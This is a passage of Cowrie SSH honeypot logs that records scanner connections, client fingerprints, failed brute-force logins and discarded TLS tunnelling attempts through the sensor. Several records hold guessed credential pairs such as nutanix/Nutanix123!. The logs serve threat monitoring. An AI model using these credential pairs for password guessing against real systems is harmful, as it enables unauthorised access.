03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:24.263117Z","src_ip":"118.193.33.3","session":"5325f2b0d239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"Nutanix123!","message":"login attempt [nutanix/Nutanix123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:25.159582Z","src_ip":"118.193.33.3","session":"5325f2b0d239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:26.378540Z","src_ip":"118.193.33.3","session":"5325f2b0d239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"2.17.96.230","dst_port":443,"src_ip":"80.94.95.118","src_port":37050,"message":"direct-tcp connection request to 2.17.96.230:443 from 127.0.0.1:37050","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:26.483311Z","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"2.17.96.230","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 2.17.96.230:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:29.699073Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"2.17.96.230","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xee\\x7f\\roCN\\xd4\\xb0\\xf8q\\x17(\\x92G\\xe7D\\xdb\\xafw\\x89\\xbe2fU{\\xf9G\\x1b\\x9d`A\\x01 <!\\xa1\\xdf\\xb5\\xb7@b\\x0fT\\xa7\\x84\\xd6\\xdc\\xd4\\xcdw\\'p@\\x12\\xcb\\x17z?\\x14>\\x87\"\\xaaJ\\x03\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xfa\\xb4\\xb7T\\xc6Wmb\\xd71f\\x00\\x82yJ\\xd6\\xe1\\t\\x19\\xce3\\x7f\\x88\\x803\\xbc\\xcdu\\x85% ~\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 2.17.96.230:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xee\\x7f\\roCN\\xd4\\xb0\\xf8q\\x17(\\x92G\\xe7D\\xdb\\xafw\\x89\\xbe2fU{\\xf9G\\x1b\\x9d`A\\x01 <!\\xa1\\xdf\\xb5\\xb7@b\\x0fT\\xa7\\x84\\xd6\\xdc\\xd4\\xcdw\\'p@\\x12\\xcb\\x17z?\\x14>\\x87\"\\xaaJ\\x03\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xfa\\xb4\\xb7T\\xc6Wmb\\xd71f\\x00\\x82yJ\\xd6\\xe1\\t\\x19\\xce3\\x7f\\x88\\x803\\xbc\\xcdu\\x85% ~\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:29.702578Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.156.119","dst_port":443,"src_ip":"80.94.95.118","src_port":38968,"message":"direct-tcp connection request to 142.251.156.119:443 from 127.0.0.1:38968","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:35.048955Z","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.156.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.156.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:37.141215Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.156.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g{:\\xa2\\xad+\\x9e0E\\xaeL\\x862\\xfb\\x9d-G\\xf5\\xf0\\x91\\x95\\x80\\x94\\xb4\\xa0\\xb9\\xa6-,\\x10\\xfc\\t \\xdd\\xd1[\\xb9\\x88P\\xe7U\\xf7\\x0b\\x17\\xbb\\xbcn\\x03\\xf1\\xcb:G\\xa6a|?\\xde\\xc8\\xef\\xc9\\x1a\\x01\\xa9hN\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 .\\xbf%\\xa0?\\x8d\\xd0\\xb8q\\x02\\xc6\\x11\\xc5dyM\\xc5\\xf7@\\xcdy\\xdae\\x86\\x1a\\xa8%)\\x94\\xb1\\x81!\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.156.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g{:\\xa2\\xad+\\x9e0E\\xaeL\\x862\\xfb\\x9d-G\\xf5\\xf0\\x91\\x95\\x80\\x94\\xb4\\xa0\\xb9\\xa6-,\\x10\\xfc\\t \\xdd\\xd1[\\xb9\\x88P\\xe7U\\xf7\\x0b\\x17\\xbb\\xbcn\\x03\\xf1\\xcb:G\\xa6a|?\\xde\\xc8\\xef\\xc9\\x1a\\x01\\xa9hN\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 .\\xbf%\\xa0?\\x8d\\xd0\\xb8q\\x02\\xc6\\x11\\xc5dyM\\xc5\\xf7@\\xcdy\\xdae\\x86\\x1a\\xa8%)\\x94\\xb1\\x81!\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:37.144808Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.9","message":"Connection lost after 31.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:39.217072Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":53708,"dst_ip":"10.17.0.5","dst_port":22,"session":"a76e0c53c24f","protocol":"ssh","message":"New connection: 35.240.75.51:53708 (10.17.0.5:22) [session: a76e0c53c24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:43.051154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:43.059409Z","src_ip":"35.240.75.51","session":"a76e0c53c24f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:43.133602Z","src_ip":"35.240.75.51","session":"a76e0c53c24f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":60532,"dst_ip":"10.17.0.5","dst_port":22,"session":"9703a2c52bbf","protocol":"ssh","message":"New connection: 103.218.242.31:60532 (10.17.0.5:22) [session: 9703a2c52bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:43.172030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:43.176108Z","src_ip":"103.218.242.31","session":"9703a2c52bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:43.392251Z","src_ip":"103.218.242.31","session":"9703a2c52bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewtinet","password":"123","message":"login attempt [viewtinet/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:43.627056Z","src_ip":"35.240.75.51","session":"a76e0c53c24f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zz","password":"zz1234","message":"login attempt [zz/zz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:44.286541Z","src_ip":"103.218.242.31","session":"9703a2c52bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:44.814899Z","src_ip":"35.240.75.51","session":"a76e0c53c24f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:45.505589Z","src_ip":"103.218.242.31","session":"9703a2c52bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":38022,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2fa07b69ff3","protocol":"ssh","message":"New connection: 116.71.136.125:38022 (10.17.0.5:22) [session: b2fa07b69ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:58.085273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:58.089500Z","src_ip":"116.71.136.125","session":"b2fa07b69ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:58.298602Z","src_ip":"116.71.136.125","session":"b2fa07b69ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roy","password":"roy123!","message":"login attempt [roy/roy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:59.165180Z","src_ip":"116.71.136.125","session":"b2fa07b69ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:00.375409Z","src_ip":"116.71.136.125","session":"b2fa07b69ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":60463,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7a39582574","protocol":"ssh","message":"New connection: 103.62.152.202:60463 (10.17.0.5:22) [session: 4e7a39582574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:01.084082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:01.089099Z","src_ip":"103.62.152.202","session":"4e7a39582574","protocol":"ssh"}
